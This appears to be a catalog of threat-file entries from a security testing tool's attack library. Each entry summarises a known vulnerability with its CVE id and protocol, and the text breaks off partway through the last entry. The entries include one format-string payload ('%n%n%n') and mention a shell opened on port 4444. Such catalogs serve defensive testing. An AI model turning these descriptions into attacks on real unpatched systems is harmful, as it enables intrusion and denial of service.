Threat File Name:	TSL20110404-04_IBM_Tivoli_Directory_Server_ibmslapd_exe_Integer_Overflow.xml
Executive Description:	IBM Tivoli Directory Server ibmslapd.exe Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in IBM Tivoli Directory Server (TDS). The vulnerability is due to lack of input validation on LDAP CRAM-MD5 packets sent to the affected service. A crafted packet can trigger a buffer overrun that can be leveraged to inject and execute arbitrary code by the attackers. A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted LDAP packet to the affected server. Successful exploitation allows the attacker to execute arbitrary code on the server with the privileges of the SYSTEM user.
Protocol Type:	LDAP
CVEID:	CVE-2011-1206
Threat File Name:	TSL20120410-10_Microsoft_Office_Works_File_Converter_Heap_Overflow_IPv6.xml
Executive Description:	Microsoft Office Works File Converter Heap Overflow(IPV6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Office and Microsoft Works. The vulnerability is caused by insufficient boundary checking when parsing WPS files. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted WPS file in a vulnerable version of one of the affected products. Successful exploitation would result in execution of arbitrary code with the privileges of the logged-in user. TELUS Security Labs has found that no heap buffer overflow takes place in Word 12 (Office 2007). The observed crash occurs as a result of a read-access violation, which is not believed to be exploitable.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0177
Threat File Name:	TSL20140709-02_Microsoft_Internet_Explorer_CVE-2014-2804_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-2804 Use After Free IPv6 version
Detailed Description:	A use after free vulnerability exist in Microsoft Internet Explorer. The vulnerability is due to an error .A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.while handling certain objects when processing HTML and script code.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-2804
Threat File Name:	TSL20170110-02_Microsoft_Windows_LSASS_Authentication_Denial_of_Service_IPv6.xml
Executive Description:	Microsoft Windows LSASS Authentication Denial of Service (IPv6 Version)
Detailed Description:	A denial-of-service vulnerability exists in Microsoft Windows. The vulnerability is due to a failure to properly process crafted requests. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request to the target system, causing the lsass.exe process to terminate. This results in a non-responsive system.
Protocol Type:	SMB/CIFS, IPv6
CVEID:	CVE-2017-0004
Threat File Name:	mybb_showteam_sqli.xml
Executive Description:	MyBB Forum SQL Injection Exploit
Detailed Description:	This threat sends a number crafted HTTP queries in order to retrieve a users password hash. MyBB is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	TSL20120110-06_Microsoft_Windows_Object_Packager_ClickOnce_Object_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Object Packager ClickOnce Object Handling Code Execution(IPV6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Windows. The vulnerability is due to improper handling of ClickOnce objects embedded in documents by the Object Packager. Insufficient checks on handling such objects could lead to execution of arbitrary code. A remote attacker can exploit this vulnerability by enticing a target users to open a specially crafted document file. Successful exploitation would lead to code execution in the context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2012-0013
OSVDB:	78207
Threat File Name:	TSL20161108-02_FreePBX_Framework_hotelwakeup_Module_Directory_Traversal.xml
Executive Description:	FreePBX Framework hotelwakeup Module Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in FreePBX. The vulnerability is due to an input validation issue in the hotelwakeup module. A remote unauthenticated attacker can exploit this vulnerability by sending maliciously crafted requests to the page. Successful exploitation could lead to arbitrary command execution on the server under the security context of the asterisk user.
Protocol Type:	HTTP, HTTPS
Threat File Name:	livreforum_sqli.xml
Executive Description:	Forum Livre 1.0 Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Forum Livre is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0589
Threat Package:	Standard
Threat File Name:	mercury_mail_bof.xml
Executive Description:	Mercury/32 Mail Server <= 4.01b (check) Buffer Overflow Vulnerability
Detailed Description:	This threat uses a large buffer sent to a Imap Mercury MailServer to cause a denial of service condition or possibly the execution of arbitrary code. Mercury Mail Server is a imap server that typically listens on port 143.
Protocol Type:	IMAP
CVEID:	CVE-2006-5961
Threat Package:	Standard

Threat File Name:	TSL20140304-04_Apache_Camel_XSLT_Component_XML_External_Entity_IPv6.xml
Executive Description:	Apache Camel XSLT Component XML External Entity(IPv6 Version)
Detailed Description:	An XML External Entity (XXE) vulnerability has been reported in Apache Camel. The vulnerability is due to an error in handling XSL stylesheets in the XSLT component. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted XML message to the vulnerable server. Successful exploitation could result in the disclosure of arbitrary files accessible to the server's context, server-side request forgery, and/or policy bypass
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2014-0002
OSVDB:	103916
Threat File Name:	ftp_format.xml
Executive Description:	FTP Format String Attack
Detailed Description:	This generic threat sends a format string attack against an FTP server. A format string attack attempts to crash the service by causing the service to write to out of bounds memory by sending the format string %n%n%n.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	TSL20151014-01_Microsoft_Internet_Explorer_jscript_dll_Regular_Expression_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer jscript.dll Regular Expression Use After Free
Detailed Description:	A use after free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to errors while handling regular expression objects when processing JavaScript code. Specifically, the Source property of the regular expression object is sometimes cached. Under certain conditions, the Compile method of the regular expression object will attempt to use this property, even after it has been freed from cache. A remote attacker could exploit this vulnerability by enticing the user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2482
Threat File Name:	phpbb_datenbank_xss_IPv6.xml
Executive Description:	Datenbank Module For PHPBB Remote Mod.PHP Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. PHPBB is a we based application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1171
OSVDB:	15811
Threat Package:	Standard
Threat File Name:	FSC20090113-26_Oracle_Application_Server_BPEL_Module_Cross_Site_Scripting.xml
Executive Description:	Oracle Application Server BPEL Module Cross Site Scripting
Detailed Description:	A cross-site scripting vulnerability exists in Oracle Application Server. The flaw is due to lack of validation of the user supplied data. The flaw may be exploited by malicious users to execute arbitrary HTML and script code on target user's web browser, within the context of a trusted web session. An attack targeting this vulnerability can result in the injection and execution of script code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Unsuccessful attack attempts could either be unnoticed by the target user, or cause incorrect rendering of the affected web pages.
Protocol Type:	HTTP
CVEID:	CVE-2008-4014
Threat Package:	Standard
Threat File Name:	TSL20130131-04_Novell_GroupWise_Client_for_Windows_ActiveX_Code_Execution_IPv6.xml
Executive Description:	Novell GroupWise Client for Windows ActiveX Code Execution(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in the ActiveX control for Novell GroupWise Client for Windows. A remote attacker could exploit this vulnerability by enticing a target to view a specially crafted webpage. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user. Unsuccessful exploitation could cause the application to terminate abnormally, resulting in a denial-of-service condition.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-0439
OSVDB:	89700
Threat File Name:	FSC20071123-04_FLAC_Project_libFLAC_Picture_Metadata_Picture_Description_Size_Buffer_Overflow_IPv6.xml
Executive Description:	FLAC Project libFLAC Picture Metadata Picture Description Size Buffer Overflow (IPv6 Version)
Detailed Description:	A heap memory overflow vulnerability exists in the Free Lossless Audio Codec (FLAC) library embedded and used by various products. The vulnerability is due to boundary errors when processing FLAC audio files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted FLAC audio file. Successful exploitation may lead to arbitrary code execution in the security context of the affected application, normally using the privileges of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4619
Threat Package:	Standard
Threat File Name:	TSL20161229-01_PHP_exception_toString_Denial_of_Service_IPv6.xml
Executive Description:	PHP exception toString Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability has been reported in PHP. The vulnerability is due to improper handling of exception objects who refer to themselves as the previous exception in the __toString method. A remote attacker could exploit this vulnerability by sending maliciously crafted data to the unserialize method and invoking the __toString method on the unserialized object. Successful exploitation of this vulnerability could lead to denial of service.
Protocol Type:	HTTP, HTTPS, IPV6
CVEID:	CVE-2016-7478
Threat File Name:	ICMPRedirectStorm_IPv6.xml
Executive Description:	ICMP Redirect Message Storm (IPv6 Version)

Detailed Description:	This exploit will send ICMP redirect packets to a host from a spoofed, user specified, existing router that has an entry on the hosts routing table. These packets will update the routing table of the host with with randomized, non-valid entries which will result in a frozen or slowed down state. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-1999-1563
OSVDB:	13582
Threat Package:	Standard
Threat File Name:	bisonftp_dos_IPv6.xml
Executive Description:	BisonFTP Remote Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a flaw in BisonFTP servers by sending a large amount of data after a successful login thereby crashing the service. BisonFTP is a ftp application that typically listens on port 21 (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2005-2078
Threat Package:	Standard
Threat File Name:	FSC20060123-06_Computer_Associates_iTechnology_iGateway_Service_Content-Length_Buffer.xml
Executive Description:	Computer Associates iTechnology iGateway Service Content-Length Buffer
Detailed Description:	A heap based buffer overflow exists in the iTechnology iGateway service of multiple Computer Associates' products. The vulnerability is caused due to insufficient boundary checks of the value of the Content-Length header field in received HTTP requests. An unauthenticated remote attacker can exploit the vulnerability to cause a denial of service condition or execute arbitrary code on the target host within the privileges of the running service, System by default.
Protocol Type:	HTTP
CVEID:	CVE-2005-3653
Threat Package:	Standard
Threat File Name:	TSL20140918-04_Digium_Asterisk_res_pjsip_pubsub_Module_SIP_SUBSCRIBE_Type_Confusion_Denial_of_Service.xml
Executive Description:	Digium Asterisk res_pjsip_pubsub Module SIP SUBSCRIBE Type Confusion Denial of Service
Detailed Description:	A denial of service vulnerability exists in Asterisk Open Source. The vulnerability exists in the res_pjsip_pubsub module. The vulnerability is due to the way SIP SUBSCRIBE requests with unexpected mixes of headers for a given event package are handled. Remote, unauthenticated attackers could exploit this vulnerability by sending malformed SIP SUBSCRIBE requests to the vulnerable server. Successful exploitation would result in a denial of service condition. Tester should set the variable \$destPort to 5060 before test.
Protocol Type:	SIP
Threat File Name:	FSC20081003-18_Rhino_Software_Serv-U_FTP_Server_rnto_Command_Directory_Traversal.xml
Executive Description:	Rhino Software Serv-U FTP Server rnto Command Directory Traversal
Detailed Description:	There exists a directory traversal vulnerability in the Rhino Software Serv-U FTP Server. The vulnerability is due to an input validation error in server that does not properly sanitize the rnto command. Successful exploitation allows authenticated remote attackers to write arbitrary files to any location on the vulnerable server.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	TSL20131112-08_Microsoft_GDI_BITMAPINFOHEADER_Integer_Overflow.xml
Executive Description:	Microsoft GDI BITMAPINFOHEADER Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows Graphics Device Interface. The vulnerability is due to an error while processing specially crafted images included in files by WordPad. A remote attacker could exploit this vulnerability by enticing a target user to open a crafted file with a vulnerable version of WordPad. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-3940
OSVDB:	99646
Threat File Name:	abitwhizzy_dir_transversal.xml
Executive Description:	AbitWhizzy ABitWhizzy.PHP Directory Traversal Vulnerability
Detailed Description:	This threat uses a specially crafted url string to read arbitrary files from an affected web server. ABitWhizzy is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6084
Threat Package:	Standard
Threat File Name:	InternetExplorerKeystroke_IPv6.xml
Executive Description:	Internet Explorer KeyStroke Capture (IPv6 Version)
Detailed Description:	This threat captures specific keystrokes typed into a webpage, and uses them to populate a search string in the file upload form input. This can allow an attacker to upload arbitrary files off of a host computer via a malicious webpage. This is a server based attack and comes from a malicious webserver. Webserver's typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2900
Threat Package:	Standard
Threat File Name:	FSC20070711-28_Apple_QuickTime_SMIL_File_Handling_Integer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime SMIL File Handling Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to the way QuickTime parses specially crafted SMIL documents. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted SMIL file or access a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2394
Threat Package:	Standard
Threat File Name:	acrowaveAuthen_IPv6.xml
Executive Description:	Acrowave Authentication Bypass (IPv6 Version)

Detailed Description:	This threat sends the Ctrl-C command through telnet which allows a user to bypass username and password restrictions to the management interface of the Acrowave WLAN router. This can allow an attacker to alter system settings and control net access for its users. (IPv6 Version)
Protocol Type:	Telnet/IPv6
CVEID:	CVE-2005-1566
OSVDB:	16445
Threat Package:	Standard
Threat File Name:	FSC20040401-01_Ethereal_EIGRP_Dissector_Buffer_Overflow_IPv6.xml
Executive Description:	Ethereal EIGRP Dissector Buffer Overflow (IPv6 Version)
Detailed Description:	There is a buffer overflow in the EIGRP protocol dissector within Ethereal, an open-source program used to capture and dissect network packets. It is possible for a remote attacker to execute arbitrary code in the context of the ROOT or LOCAL_SYSTEM user. (IPv6 Version)
Protocol Type:	EIGRP/IPv6
CVEID:	CVE-2004-0176
Threat Package:	Standard
Threat File Name:	motorola_sb4200_dos.xml
Executive Description:	Motorola SB4200 Remote Denial of Service Vulnerability
Detailed Description:	This threat sends a malicious HTTP Post reply to a Motorola Cable modem's web interface that will result in a denial of service condition. Motorola SB4200 modems use a http server control console that typically listen on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20091202-01_Novell_eDirectory_NDS_Verb_0x01_Integer_Overflow.xml
Executive Description:	Novell eDirectory NDS Verb 0x01 Integer Overflow
Detailed Description:	An integer overflow has been reported in Novell eDirectory. The flaw is due to errors when processing maliciously crafted service requests (NDS Verb 0x1) with an overly large integer value that would be used in a memory allocation. A remote unauthenticated attacker can exploit this vulnerability by sending a malicious request to a target host. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged on user. An unsuccessful exploit attempt may terminate the affected application abnormally causing a denial of service condition.
Protocol Type:	NDS
CVEID:	CVE-2009-0895
Threat Package:	Standard
Threat File Name:	fuzz-ARP_hwAddrType.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:hwAddrType
Detailed Description:	
Protocol Type:	ARP
Threat Package:	Fuzzing
Threat File Name:	TSL20130207-08_Opera_SVG_clipPath_Use_After_Free_Memory_Corruption.xml
Executive Description:	Opera SVG clipPath Use After Free Memory Corruption
Detailed Description:	A use-after-free vulnerability has been reported in Opera web browser. The vulnerability is due to an error while parsing SVG content. A remote attacker can exploit this vulnerability by enticing a user to download and process a maliciously crafted file with a vulnerable version of Opera. This can lead to code execution in the context of the affected application. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-1638
OSVDB:	89614
Threat File Name:	vistered_file_disclosure_IPv6.xml
Executive Description:	Vistered Little 1.6a Remote File Disclosure Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a specially crafted HTTP GET request to return any file on the affected web server resulting in information disclosure and theft of credentials. Vistered Little is a web application that typically can be found listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2934
Threat Package:	Standard
Threat File Name:	FSC20090114-22_Oracle_TimesTen_In-Memory_Database_evtdump_CGI_module_Format_String_IPv6.xml
Executive Description:	Oracle TimesTen In-Memory Database evtdump CGI module Format String (IPv6 Version)
Detailed Description:	There is a format string error vulnerability in TimesTen In-memory Database. The flaw is due to a input error when processing HTTP requests sent to CGI program evtdump. Remote authenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process with System level privileges (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-5440
Threat Package:	Standard
Threat File Name:	phpfusion_dbdl_IPv6.xml
Executive Description:	PHPFusion Database Download (IPv6 Version)
Detailed Description:	This threat attempts to download the stored database dump of PHPFusion. This application stores a backup of the database in a predictable location with a predictable name. PHPFusion is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1724
OSVDB:	9032
Threat Package:	Standard

Threat File Name:	FSC20060222-07_Mozilla_Thunderbird_WYSIWIG_Engine_Filtering_IFRAME_JavaScript_Execution_IPv6.xml
Executive Description:	Mozilla Thunderbird WYSIWIG Engine Filtering IFRAME JavaScript Execution (IPv6 Version)
Detailed Description:	A Javascript execution vulnerability exists in the Mozilla Thunderbird application. The vulnerability allows Javascript execution in the composer window regardless of the security restriction settings. This may allow the attacker to execute arbitrary Javascript when a target user replies to a malicious HTML formatted email message. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2006-0884
Threat Package:	Standard
Threat File Name:	TSL20150714-32_Microsoft_Internet_Explorer_MutationObserver_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer MutationObserver Memory Corruption IPv6 version
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling MutationObserver objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2015-2425
Threat File Name:	TSL20130809-08_VLC_Media_Player_ABC_File_Instruction_Field_Parsing_Heap_Overflow.xml
Executive Description:	VLC Media Player ABC File Instruction Field Parsing Heap Overflow
Detailed Description:	A remote code execution vulnerability has been reported in the libmodplug library used by VLC Media Player. The vulnerability is due to an error while parsing Instruction fields in ABC files with the style sheet directive "MIDI drum" or "MIDI gchord", which can result in a heap buffer overflow condition. Remote attackers could exploit this vulnerability by enticing the target user to view a malicious ABC file. A successful attack based on this vulnerability may result in the execution of arbitrary code within the security context of the currently logged-in user.
Protocol Type:	MMS,HTTPS,HTTP,IMAP,POP3,SMB/CIFS,SMTP,RTSP
OSVDB:	96133
Threat File Name:	FSC20080408-15_Microsoft_Windows_GDI_EMF_Image_File_Handling_Stack_Overflow.xml
Executive Description:	Microsoft Windows GDI EMF Image File Handling Stack Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in the way Microsoft Windows Graphics Device Interface (GDI) handles filename parameters in EMF image files. Remote attackers can exploit this vulnerability by enticing target users to open a specially crafted EMF file. Successful exploitation would result in injection and execution of arbitrary code in the context of currently logged-in user. Attempts that fail to execute injected code will likely result in denial of service conditions.
Protocol Type:	HTTP
CVEID:	CVE-2008-1087
Threat Package:	Standard
Threat File Name:	FSC20100127-08_IBM_DB2_Database_Server_SQL_REPEAT_Buffer_Overflow.xml
Executive Description:	IBM DB2 Database Server SQL REPEAT Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in IBM DB2 Database Server. The vulnerability is due to an integer overflow that can occur when malicious input is processed by the REPEAT function. This weakness can be exploited by remote attackers to execute arbitrary code by sending a crafted SQL query to the target server. In attack scenarios where code execution is successful the behaviour of the target system will depend on the intention of the injected code. The injected code will run within the security context of the affected service. In an attack scenario where code execution is not successful, the target server could abnormally terminate.
Protocol Type:	DRDA
Threat Package:	Standard
Threat File Name:	FSC20080212-09_Microsoft_Active_Directory_LDAP_Query_Handling_Denial_of_Service_IPv6.xml
Executive Description:	Microsoft Active Directory LDAP Query Handling Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in the Microsoft Active Directory. The vulnerability is caused by improper handling of specifically crafted LDAP requests. A remote attacker can exploit this vulnerability to create a denial of service condition on the target system. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2008-0088
Threat Package:	Standard
Threat File Name:	TSL20070109-08_Microsoft_Excel_Malformed_IMDATA_Record_Buffer_Overflow.xml
Executive Description:	Microsoft Excel Malformed IMDATA Record Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel. The flaw is caused by insufficient checks while parsing IMDATA Records in the Excel files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack case where code injection is not successful, the Microsoft Excel application will terminate. This can potentially lead to a loss of data. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2007-0027
Threat File Name:	mobb2_IPv6.xml
Executive Description:	Internet Explorer HHCtrl Heap Overflow (IPv6 Version)
Detailed Description:	This threat sends a malformed web page that causes Internet Explorer to corrupt it's heap. This threat is sent from a malicious web server, which would typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3898

OSVDB:	27231
Threat Package:	Standard
Threat File Name:	TSL20160829-06_Micro_Focus_GroupWise_Admin_Console_install_login_jsp_Cross_Site_Scripting_IPv6.xml
Executive Description:	Micro Focus GroupWise Admin Console install login.jsp Cross Site Scripting (IPv6 Version)
Detailed Description:	A cross-site scripting vulnerability has been reported in the administrator console of Micro Focus GroupWise. The vulnerability is due to insufficient validation of user input on the token parameter by install/login.jsp. A remote attacker can exploit this vulnerability by enticing a target user to click on a specially crafted URL. Successful exploitation would result in the execution of arbitrary script code in the context of the target user's browser.
Protocol Type:	HTTPS, IPv6
CVEID:	CVE-2016-5760
Threat File Name:	ms05-030_nnntpExp.xml
Executive Description:	MS05-030 NNTP Exploit On Outlook Express
Detailed Description:	This threat causes Outlook Express to launch a shell listening on port 4444. It is caused by connecting to a malicious Usenet server and retrieving a listing of available archives. NNTP is the protocol used for Usenet, and typically runs on port 119. This threat is a client attack that comes from the virtual server.
Protocol Type:	NNTP
CVEID:	CVE-2005-1213
OSVDB:	17306
Threat Package:	Standard
Threat File Name:	FSC20070213-15_Microsoft_Internet_Explorer_COM_Object_Instantiation_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer COM Object Instantiation Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The flaw is due to improper handling of certain COM objects that are not designed to work with Internet Explorer. By persuading a user to visit a malicious web site, a remote attacker may execute arbitrary code on the target system with the privileges of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2006-4697
Threat Package:	Standard
Threat File Name:	TSL20151015-03_Adobe_Flash_iExternalizable_Interface_Type_Confusion_IPv6.xml
Executive Description:	Adobe Flash iExternalizable Interface Type Confusion IPv6 version
Detailed Description:	A type confusion vulnerability has been reported in Adobe Flash. The vulnerability is due to writeExternal method of the iExternalizable interface being treated as a function by the AVM despite being previously overwritten. This vulnerability is being exploited by malware. A remote attacker could exploit this vulnerability by enticing a user into opening a specially crafted SWF or web page. Successful exploitation could lead to arbitrary code execution under the security context of the user process.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS.IPV6
CVEID:	CVE-2015-7645
Threat File Name:	pop_buffer_overflow_1025_IPv6.xml
Executive Description:	POP Buffer Overflow [1025] Attack (IPv6 Version)
Detailed Description:	This generic threat sends a long buffer [1025 bytes] against an POP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	POP3/IPv6
Threat Package:	Standard
Threat File Name:	sipsemicolonparams_IPv6.xml
Executive Description:	SIPPING: Semicolon Separated Params in URI (IPv6 Version)
Detailed Description:	This threat sends out a SIP message with semicolon separated parameters in the user part of the Request-URI. This is legal but may confuse or crash a SIP implementation that isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	cdpflood_IPv6.xml
Executive Description:	CDP Flood (IPv6 Version)
Detailed Description:	This threat sends out a flood of CDP packets attempting to corrupt memory inside of a Cisco device with the CDP protocol enabled. (IPv6 Version)
Protocol Type:	CDP/IPv6
CVEID:	CVE-2001-1071
OSVDB:	1969
Threat Package:	Standard
Threat File Name:	openvmgsd_fs_IPv6.xml
Executive Description:	OpenVMPS Logging Function Format String (IPv6 Version)
Detailed Description:	This threat sends a malformed packet to the OpenVMPS server which triggers a format string flaw within a logging function allowing remote execution. OpenVMPS is a vlan policy manager and typically listens on port 1589. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-4714
OSVDB:	19910
Threat File Name:	x86NOOPtcpSGI.xml
Executive Description:	TCP x86 NOOP Packet Variant SGI
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	ms03-051.xml
Executive Description:	MS03-051 Microsoft Frontpage Server Extension Overflow

Detailed Description:	This threat causes a buffer overflow in a debug option contained in Microsoft Frontpage Server extensions. This allows a remote attacker to execute code in with the privileges of the webserver. Frontpage Server Extensions is a addon for Microsoft IIS, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2003-0822
OSVDB:	2952
Threat Package:	Standard
Threat File Name:	FSC20080731-12_CA_ARCserve_Backup_for_Laptops_and_Desktops_LGServer_Handshake_Buffer_Overflow.xml
Executive Description:	CA ARCserve Backup for Laptops and Desktops LGServer Handshake Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way CA ARCserve Backup for Laptops and Desktops service handles incoming messages. A remote unauthenticated attacker can send specially crafted message to the LGServer service to trigger the vulnerability, potentially execute arbitrary code on the target host with System privileges.
Protocol Type:	SSDP
CVEID:	CVE-2008-3175
Threat Package:	Standard
Threat File Name:	webspell_sqli.xml
Executive Description:	webSPELL 4.01.02 (gallery.php) Remote Blind SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. webSPELL an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5388
Threat Package:	Standard
Threat File Name:	TSL20110428-04_Microsoft_Office_PowerPoint_ExtTimeNodeContainer_Record_Memory_Corruption.xml
Executive Description:	Microsoft Office PowerPoint ExtTimeNodeContainer Record Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to memory corruption while processing specially crafted PowerPoint files that contain a ExtTimeNodeContainer record. An attacker can exploit this vulnerability by enticing a user to open a specially crafted PowerPoint file. This can result in injection and execution of arbitrary code in the security context of the currently logged on user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0655
Threat File Name:	TSL20111111-02_HP_Data_Protector_Multiple_Products_GetPolicies_SQL_Injection.xml
Executive Description:	HP Data Protector Multiple Products GetPolicies SQL Injection
Detailed Description:	An SQL injection vulnerability exists in HP Data Protector Notebook Extension and HP Data Protector for Personal Computers. The specific flaw is caused by insufficient validation of the <italic>type</italic> field in a user supplied SOAP request to the DPNCentral web service. A remote unauthenticated attacker can leverage this vulnerability to execute arbitrary SQL queries on a target system within the security context of the affected service.
Protocol Type:	HTTP
CVEID:	CVE-2011-3157
Threat File Name:	TSL20120814-04_Microsoft_Visio_DXF_File_Format_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Visio DXF File Format Buffer Overflow(IPv6)
Detailed Description:	A buffer overflow vulnerability has been reported in Microsoft Visio. The vulnerability is due to the way the application handles memory when parsing specially crafted Autodesk DXF files.A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious file with vulnerable version of the application. This can lead to code execution in the context of the affected user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-1888
OSVDB:	84606
Threat File Name:	FSC20080811-05_Apache_Tomcat_allowLinking_URIencoding_Directory_Traversal_Vulnerability_IPv6.xml
Executive Description:	Apache Tomcat allowLinking URIencoding Directory Traversal Vulnerability (IPv6 Version)
Detailed Description:	There exists a directory traversal vulnerability in the Apache Tomcat. The vulnerability is due to an input validation error in Tomcat that does not properly sanitize the URI for directory traversal patterns. Successful exploitation allows unauthenticated remote attackers to disclose or access arbitrary files on the vulnerable server. (IPv6 Version)
Protocol Type:	HTTP-ALT/IPv6
CVEID:	CVE-2008-2938
Threat Package:	Standard
Threat File Name:	FSC20071206-12_HP_OpenView_Network_Node_Manager_CGI_Application_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager CGI Application Buffer Overflow (IPv6 Version)
